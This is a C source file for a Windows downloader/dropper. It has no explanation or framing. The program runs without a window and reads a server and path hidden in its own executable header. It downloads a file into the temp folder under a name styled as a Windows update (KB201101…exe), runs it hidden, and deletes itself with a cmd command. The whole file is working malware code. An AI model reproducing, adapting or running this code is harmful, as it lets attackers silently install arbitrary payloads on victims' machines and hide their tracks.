#include <stdio.h>
#include <winsock.h>
#include <windows.h>
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker, "/entry:server")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/filealign:512")
BOOL URLDownload(LPCTSTR lpServerName, USHORT uPort, LPCTSTR lpRequestURL, LPCTSTR lpFileName);
int GetContentLength(const char *buf, int len);
void GetConfig(char *buf, int len);
void server()
{
char szConfig[128];
GetConfig(szConfig, sizeof(szConfig));
if (szConfig[0] == '\0')
return;
int nOffset = 0;
for (int i = 0; i < 128; i++)
{
if (szConfig[i] == '|')
{
nOffset = i;
break;
}
}
szConfig[nOffset] = '\0';
char szTempPath[MAX_PATH];
char szFilePath[MAX_PATH];
int nRam = rand() % 1024;
GetTempPath(sizeof(szTempPath), szTempPath);
::wsprintf(szFilePath, "%sKB201101%d.exe", szTempPath, nRam);
URLDownload(szConfig, 80, &szConfig[nOffset + 1], szFilePath);
::WinExec(szFilePath, SW_HIDE);
char szModuleName[MAX_PATH] = { '\0' };
int n = ::GetModuleFileName(NULL, szModuleName + 1, sizeof(szModuleName));
szModuleName[0] = '"';
szModuleName[n + 1] = '"';
char szCmd[512];
::wsprintf(szCmd, "cmd /c netstat -an&&del /s /q %s", szModuleName);
::WinExec(szCmd, SW_HIDE);
return;
}
BOOL URLDownload(LPCTSTR lpServerName, USHORT uPort, LPCTSTR lpRequestURL, LPCTSTR lpFileName)
{
WSADATA wsaData;
SOCKET sWinsock = NULL;
USHORT uConnPort = uPort;
HOSTENT *pServer_entry = NULL;
char *lpServer_ip = NULL;
BOOL bSuccess = FALSE;
int nError = ::WSAStartup(MAKEWORD(2, 2), &wsaData);
if (nError != NO_ERROR)
{
::WSACleanup();
return FALSE;
}
pServer_entry = ::gethostbyname(lpServerName);
lpServer_ip = ::inet_ntoa(*(in_addr*)pServer_entry->h_addr_list[0]);
sWinsock = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sWinsock == INVALID_SOCKET)
{
::closesocket(sWinsock);
return FALSE;
}
SOCKADDR_IN sinSockaddr;
sinSockaddr.sin_family = AF_INET;
sinSockaddr.sin_port = htons(uConnPort);
sinSockaddr.sin_addr.s_addr = ::inet_addr(lpServer_ip);
nError = ::connect(sWinsock, (SOCKADDR*)&sinSockaddr, sizeof(sinSockaddr));
if (nError == SOCKET_ERROR)
{
::closesocket(sWinsock);
return FALSE;
}
char szHttpHeader[512];
ZeroMemory(szHttpHeader, sizeof(szHttpHeader));
strcat(szHttpHeader, "GET ");
strcat(szHttpHeader, lpRequestURL);
strcat(szHttpHeader, " HTTP/1.1\r\n");
strcat(szHttpHeader, "Host:");
strcat(szHttpHeader, lpServerName);
strcat(szHttpHeader, "\r\n");
strcat(szHttpHeader, "Accept:*/*\r\n");
strcat(szHttpHeader, "Connection:close\r\n\r\n");
int nSent = ::send(sWinsock, szHttpHeader, strlen(szHttpHeader), 0);
if (nSent <= 0)
{
::closesocket(sWinsock);
return FALSE;
}
char szHttpResponse[(1024 * 64) + 1];
HANDLE hFile = ::CreateFile(
lpFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE | FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE)
{
bSuccess = FALSE;
::closesocket(sWinsock);
return bSuccess;
}
int nLength = 1;
int nRecvCount = 0;
BOOL bLength = FALSE;
while (TRUE)
{
int nRecv = ::recv(sWinsock, szHttpResponse, sizeof(szHttpResponse), 0);
if (nRecv <= 0)
{
break;
}
if (bLength == FALSE)
{
nLength = GetContentLength(szHttpResponse, sizeof(szHttpResponse));
if (nLength != 0)
{
bLength = TRUE;
}
}
szHttpResponse[nRecv] = '\0';
char *offest = strstr(szHttpResponse, "\r\n\r\n");
if (offest == NULL)
{
offest = &szHttpResponse[0];
}
else
{
offest = offest + 4;
}
int nWrite = szHttpResponse + nRecv - offest;
nRecvCount = nRecvCount + nWrite;
DWORD dwWritten = 0;
::WriteFile(hFile, offest, nWrite, &dwWritten, NULL);
}
::CloseHandle(hFile);
::closesocket(sWinsock);
return TRUE;
}
int GetContentLength(const char *buf, int len)
{
char szLength[128];
char *lpOffest = strstr(buf, "Content-Length: ");
lpOffest += 16;
for (int i = 0; i < len; i++)
{
if (buf[i] == '\r')
{
break;
}
szLength[i] = lpOffest[i];
}
return ::atoi(szLength);
}
void GetConfig(char *buf, int len)
{
char *lpBase = (char*)::GetModuleHandle(NULL);
lpBase += 64;
for (int i = 0; i < len; i++)
{
buf[i] = lpBase[i];
}
return;
}